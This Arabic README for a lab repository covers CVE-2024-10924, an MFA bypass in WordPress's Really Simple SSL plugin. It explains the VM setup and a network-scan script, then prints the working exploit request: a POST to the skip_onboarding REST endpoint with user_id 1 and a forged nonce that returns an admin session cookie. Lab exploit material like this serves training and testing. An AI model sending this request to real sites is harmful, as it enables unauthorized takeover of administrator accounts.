بيئة مختبر وسكربت استغلال لثغرة CVE-2024-10924، يوضح تجاوز المصادقة متعددة العوامل (MFA) في ووردبريس عبر نقطة نهاية skip_onboarding في إضافة Really Simple SSL.
يوفر هذا المستودع مختبرًا لاستغلال الثغرة CVE-2024-10924 في WordPress، وتحديدًا لتجاوز المصادقة الثنائية (MFA) والوصول إلى لوحة إدارة WordPress.
لنشر هذا المختبر في بيئتك، اتبع الخطوات التالية:
سيتعين عليك فك ضغط ملف zip الخاص بالمختبر، وبالانتقال إلى VMWare سيتعين عليك النقر على Open لاستيراد جهاز، ونختار الملف المسمى Ubuntu-Bypass-MFA-Wordpress.vmx، وأخيرًا سيتعين علينا النقر على لتشغيل الجهاز المعرّض للثغرة.
Powerعلى جهاز Kali الخاص بك، قم بتثبيت الأدوات اللازمة وتأكد من تثبيت التطبيقات التالية:
nmap: لإجراء عمليات فحص الشبكة.requests: لإجراء طلبات HTTP (إذا لم يكن لديك، فثبّت requests باستخدام pip install requests).rich: لإخراج أنيق إلى وحدة التحكم (ثبّته باستخدام pip install rich).للحصول على عنوان IP الخاص بجهاز WordPress في بيئة الشبكة، قم بتشغيل السكربت التالي من جهاز Kali الخاص بك:
$ python3 knowIPwordpress.py
This script does the following:
Detect your local IP.
Scans the corresponding network segment to find active IPs.
Perform a port scan for HTTP services.
Check that the WordPress machine's IP has the title "Bypass-MFA" in its HTTP service.
Once found, it will show you the URL where you can access the WordPress administration panel:
Accede a WordPress en: http://<IP>/wp-admin
## تجاوز التحقق المزدوج (MFA):
### بيانات اعتماد WordPress:
admin:admin
عند محاولة تسجيل الدخول إلى `WordPress`، سيطلب منك `المصادقة الثنائية (MFA)`. لتجاوز هذه الخطوة، قم بتشغيل السكربت التالي على جهاز `Kali` الخاص بك:
```bash
$ python3 bypass-MFA-Wordpress.py
كيف يعمل السكربت bypass-MFA-Wordpress.py
يستغل هذا السكربت الثغرة CVE-2024-10924 ويتجاوز التحقق المزدوج للوصول إلى لوحة إدارة WordPress.
الحصول على كوكي الجلسة: يرسل السكربت طلب HTTP إلى نقطة النهاية reallysimplessl/v1/two_fa/skip_onboarding للحصول على كوكي جلسة صالح.
يتم إرسال الطلب بالمعلومات التالية:
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
بمجرد الحصول على الكوكي، يطلب السكربت اسم المستخدم وكلمة المرور الخاصة بـ WordPress. ثم أرسل طلب POST إلى نقطة النهاية wp-admin/profile.php باستخدام بيانات الاعتماد المقدمة لتسجيل الدخول.
إذا نجح التجاوز، يحفظ السكربت الاستجابة من لوحة تحكم المسؤول في ملف .html ويفتحه في متصفحك الافتراضي.
ستتمكن الآن من الوصول إلى لوحة إدارة WordPress!
إذا كنت تريد القيام بذلك يدويًا باستخدام BurpSuite وتريد معرفة Endpoint الذي يجب إرسال الطلب إليه لالتقاط Cookies، فيمكنك فعل ذلك بالطريقة التالية:
$ python3 endpointWordpress.py
سيخبرنا هذا بالكود الذي سنضعه في BurpSuite لنتمكن من التقاط Cookies، وفي حالتي سيكون شيئًا مثل هذا:
POST http://192.168.5.192/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: 192.168.5.192
Content-Type: application/json
Content-Length: 89
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}